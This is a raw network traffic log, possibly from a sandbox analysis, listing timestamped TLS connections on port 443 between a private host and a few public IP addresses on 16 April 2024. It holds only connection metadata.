Apr 16, 2024 21:39:48.428374052 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.428404093 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.428414106 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.428441048 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.428811073 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.428881884 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.428891897 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.428944111 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.429995060 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.430071115 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.430087090 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.430149078 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.430167913 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.430234909 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.430600882 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.430695057 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.430722952 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.430787086 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.431580067 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.431664944 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.432286024 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.432359934 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.432370901 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.432398081 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.432434082 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.432455063 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.496442080 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.496484995 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.496540070 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.496933937 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.496944904 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.530101061 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.530220032 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.531112909 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.531187057 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.531205893 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.531272888 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.531502008 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.531560898 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.532433987 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.532506943 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.532524109 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.532586098 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.533319950 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.533390999 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.533412933 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.533467054 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.534256935 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.534320116 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.534347057 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.534420967 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.535234928 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.535301924 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.535322905 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.535381079 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.536176920 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.536242008 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.536264896 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.536329985 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.536355019 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.536926031 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.536978006 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.537013054 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.537070990 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.537997961 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.538058996 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.538089037 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.538145065 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.538876057 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.538952112 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.538966894 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.539026976 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.539963961 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.540035009 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.540081978 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.540138006 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.540693045 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.540752888 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.541781902 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.541804075 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.541846991 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.541862011 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.541913986 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.541943073 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.541996956 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.543664932 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.543708086 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.543736935 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.543751955 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.543787956 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.543806076 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.545617104 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.545667887 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.545698881 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.545711994 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.545739889 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.545763016 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.548134089 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.548177004 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.548207045 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.548218966 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.548249006 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.548268080 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.549818993 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.549860001 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.549880028 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.549892902 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.549918890 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.549946070 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.551680088 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.551723957 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.551755905 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.551768064 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.551795959 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.551815033 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.552993059 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.553035975 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.553061962 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.553073883 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.553102016 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.553118944 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.634994030 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.635029078 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.635229111 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.635230064 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.635298967 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.635354996 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.636307955 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.636341095 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.636374950 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.636394978 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.636423111 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.636440992 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.638170958 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.638195992 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.638242960 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.638257027 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.638283014 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.638303041 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.638963938 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.639039040 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.641098976 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.641119003 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.641165972 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.641179085 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.641207933 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.642855883 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.642879963 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.642919064 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.642932892 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.642963886 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.643281937 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.643815994 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.643861055 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.643883944 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.643898010 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.643925905 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.643949032 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.643999100 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.644364119 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.644402027 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.712989092 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.748861074 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.748884916 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.750613928 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.750662088 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.750725031 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.751142979 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.751162052 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.752456903 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.752530098 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.753504038 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.753683090 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.753696918 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.793600082 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.793615103 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.838116884 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.862790108 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.862823963 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.862875938 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.863249063 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.863264084 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.971240044 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.971508980 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.971543074 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.972255945 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.972661972 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.972755909 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:48.972873926 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:48.974836111 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.974988937 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.975033045 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.975718021 CEST	49749	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.975733995 CEST	443	49749	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.020124912 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:49.081428051 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.081809044 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.081825018 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.082911015 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.083583117 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.083755970 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.083784103 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.083830118 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.083858967 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.199959993 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:49.200159073 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:49.200571060 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:49.201951027 CEST	49750	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:39:49.201971054 CEST	443	49750	172.67.191.147	192.168.2.4
Apr 16, 2024 21:39:49.306818008 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.306895018 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.308237076 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.308299065 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.308315039 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.365005970 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365180016 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365266085 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365358114 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365389109 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.365403891 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365537882 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.365542889 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365575075 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365603924 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.365731001 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365818024 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365896940 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.365901947 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365926027 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.365957022 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.366079092 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366159916 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.366167068 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366193056 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366286039 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.366394043 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366549015 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366638899 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366724014 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366806030 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366836071 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.366843939 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.366914034 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.367271900 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.367425919 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.367511988 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.367537975 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.367543936 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.367585897 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.367604971 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368150949 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368237972 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368264914 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.368273020 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368398905 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368495941 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368500948 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.368519068 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.368545055 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.369105101 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.369187117 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.369194031 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.369281054 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.369366884 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.369457006 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.369535923 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.369544029 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.370059967 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.370155096 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.370234013 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.370243073 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.370265961 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.370291948 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.370913029 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.371014118 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.371021986 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.422100067 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.474611998 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.474648952 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.474694967 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.474987984 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475071907 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.475090981 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475662947 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475724936 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.475735903 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475862980 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475898981 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.475907087 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.475918055 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.476746082 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.476794958 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.476802111 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.476809978 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.476869106 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.477650881 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.477745056 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.477822065 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.477961063 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.478009939 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.478054047 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.478081942 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.478086948 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.478108883 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.478220940 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.478477001 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.478564978 CEST	49751	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.478589058 CEST	443	49751	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.486496925 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.486587048 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.486696959 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.489630938 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.489670038 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.532397985 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.542701006 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.542758942 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.544503927 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.544611931 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.553158998 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.553260088 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.556035995 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.556052923 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.601156950 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.656351089 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.656407118 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.656512022 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.656850100 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.656862020 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.707499027 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.707808971 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.707854986 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.708970070 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.709558964 CEST	49754	443	192.168.2.4	104.17.2.184
